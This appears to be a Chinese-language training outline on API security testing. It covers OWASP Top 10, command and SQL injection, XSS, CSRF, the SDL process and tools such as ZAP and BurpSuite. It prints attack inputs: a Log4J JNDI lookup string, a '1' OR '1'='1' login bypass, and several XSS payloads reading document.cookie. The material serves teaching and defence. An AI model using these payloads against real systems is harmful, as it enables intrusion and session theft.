接口安全测试体系

大纲

  1. 服务端安全测试体系
  2. 安全测试演练环境
  3. 常见接口安全测试工具
  4. 安全测试工具 BurpSuite
  5. 命令注入漏洞,SQL 注入漏洞
  6. XSS、CSRF 漏洞,越权访问漏洞
  7. 短信/邮件炸弹
  8. 文件上传
  1. 跳转漏洞
  2. SSRF 漏洞
  3. 信息校验
  4. 路径遍历
  5. OWASP-ZAP 工具介绍与技术架构
  6. 绕过认证进行安全测试
  7. 网站结构爬取与分析
  8. 安全规则选择与漏洞扫描
  9. 漏洞报告分析

安全问题的由来

正常业务流程与黑客视角下的业务流程

安全风险触发流程

OWASP Top 10 2017 安全漏洞

OWASP Top 10 2021 安全漏洞

Log4J 漏洞示例

  • 在系统可能打日志的地方,输入 jndi 语句
  • jndi:rmi:192.168.9.23:1099/remote

服务端安全风险层次

  • 应用逻辑层 Java Python
  • 应用容器层 Spring Log4J Tomcat Jetty Nginx
  • 系统层 Linux Windows 办公环境
  • 网络层 路由器 城际网

安全测试演练环境

DVWA 安全漏洞模拟环境

常见漏洞演练

命令注入漏洞

命令注入是一种攻击,其目标是通过易受攻击的应用程序在主机操作系统上执行任意命令。 当应用程序将用户提供的不安全数据(表格,cookie,HTTP 标头等)传递到 Shell 时,可能会发生命令注入攻击。 在这种攻击中,通常由易受攻击的应用程序以特权执行由攻击者提供的操作系统命令。 由于没有足够的输入验证,因此可能会发生命令注入攻击。

命令注入案例

漏洞成因

  • 多语句分号:;
  • 条件执行:&& ||
  • 管道符号: |

SQL 注入漏洞

SQL 注入漏洞原理

SQL 注入(英语:SQL injection),也称 SQL 注入或 SQL 注码,是发生于应用程序与数据库层的安全漏洞。简而言之,是在输入的字符串之中注入 SQL 指令,在设计不良的程序当中忽略了字符检查,那么这些注入进去的恶意指令就会被数据库服务器误认为是正常的 SQL 指令而运行,因此遭到破坏或是入侵。

漏洞解释

strSQL = "SELECT * FROM users WHERE (name = '" + userName + "') and (pw = '"+ passWord +"');"

userName = "1' OR '1'='1";
passWord = "1' OR '1'='1";

strSQL = "SELECT * FROM users WHERE (name = '1' OR '1'='1') and (pw = '1' OR '1'='1');"

SQL 注入漏洞成因

SQL 注入危害与预防

  • 危害:漏洞可以让黑客无限制的使用 SQL,造成数据泄露甚至远程命令执行。
  • 预防:使用参数化查询避免数据被混在在指令中。

XSS 漏洞

XSS 漏洞介绍

跨站脚本(英语:Cross-site scripting,通常简称为:XSS)是一种网站应用程序的安全漏洞攻击,是代码注入的一种。它允许恶意用户将代码注入到网页上,其他用户在观看网页时就会受到影响。这类攻击通常包含了 HTML 以及用户端脚本语言。 XSS 攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是 JavaScript,但实际上也可以包括 Java,VBScript,ActiveX,Flash 或者甚至是普通的 HTML。攻击成功后,攻击者可能得到更高的权限(如执行一些操作)、私密网页内容、会话和 cookie 等各种内容。

XSS 漏洞成因

XSS 漏洞利用

>
<script>
  alert(document.cookie);
</script>
='>
<script>
  alert(document.cookie);
</script>
">
<script>
  alert(document.cookie);
</script>
<script>
  alert(document.cookie);
</script>
<script>
  alert(vulnerable);
</script>
%3Cscript%3Ealert('XSS')%3C/script%3E
<script>
  alert("XSS");
</script>
<img src="javascript:alert('XSS')" />
<img src="http://888.888.com/999.png" onerror="alert('XSS')" />

XSS 危害与防范

  • 危害:危害网站上的其他用户,导致被动执行非预期网页脚本
  • 预防:输入输出过滤、利用浏览器安全机制等
  • 检测:可自动化发现

CSRF 漏洞

CSRF 漏洞介绍与原理

  • 跨站请求伪造(英语:Cross-site request forgery),也被称为  one-click attack  或者  session riding,通常缩写为  CSRF  或者  XSRF, 是一种挟制用户在当前已登录的 Web 应用程序上执行非本意的操作的攻击方法。跟跨网站脚本(XSS)相比,XSS  利用的是用户对指定网站的信任,CSRF 利用的是网站对用户网页浏览器的信任。
  • 跨站请求攻击,简单地说,是攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己曾经认证过的网站并运行一些操作(如发邮件,发消息,甚至财产操作如转账和购买商品)。由于浏览器曾经认证过,所以被访问的网站会认为是真正的用户操作而去运行。这利用了 web 中用户身份验证的一个漏洞:简单的身份验证只能保证请求发自某个用户的浏览器,却不能保证请求本身是用户自愿发出的。

CSRF 漏洞示例

CSRF 常见的攻击 payload

  • 利用 url
  • 利用图片请求
  • 利用伪造表单

CSRF 危害与预防

  • 危害:导致用户执行非本意的网站请求
  • 预防:增加 token 校验、检查 referer

安全测试流程

Security Development Lifecycle(SDL)

  • 安全开发生命周期
  • 微软出品,定义非常详细
  • 阿里、腾讯、百度的安全体系皆最早借鉴于 SDL

分析攻击面

  • 输入
    • 加密传输: 链路加密 敏感信息加密
    • 访问控制: 明确敏感信息分级,可访问性验证 权限等级
    • 参数注入: sql 注入、命令注入、文件注入
  • 输出
    • XSS
    • CSRF

安全测试实施

  • 安全测试左移
    • SonarQube、FindBugs 等
  • 集成测试阶段
    • ZAP、WVS、BurpSuite、AppScan、sqlmap
  • 系统测试
    • 业务流程安全探索
    • ZAP、WVS、BurpSuite、AppScan、sqlmap

安全响应与安全运营

  • 经过测试的产品并不一定没有安全漏洞
  • 0day新漏洞可能会随时出现
  • 出现安全事件要及时响应

常见接口安全测试工具

常见安全工具

  • 全能型工具
    • OWASP ZAP
    • WVS
    • AppScan
    • BurpSuite
  • 单维度安全工具
    • sqlmap

OWASP ZAP 实战演练

ZAP 流程

  • 网站结构爬取与分析
  • 设置认证
  • 进行安全测试
  • 安全规则选择与漏洞扫描
  • 漏洞报告分析

Q&A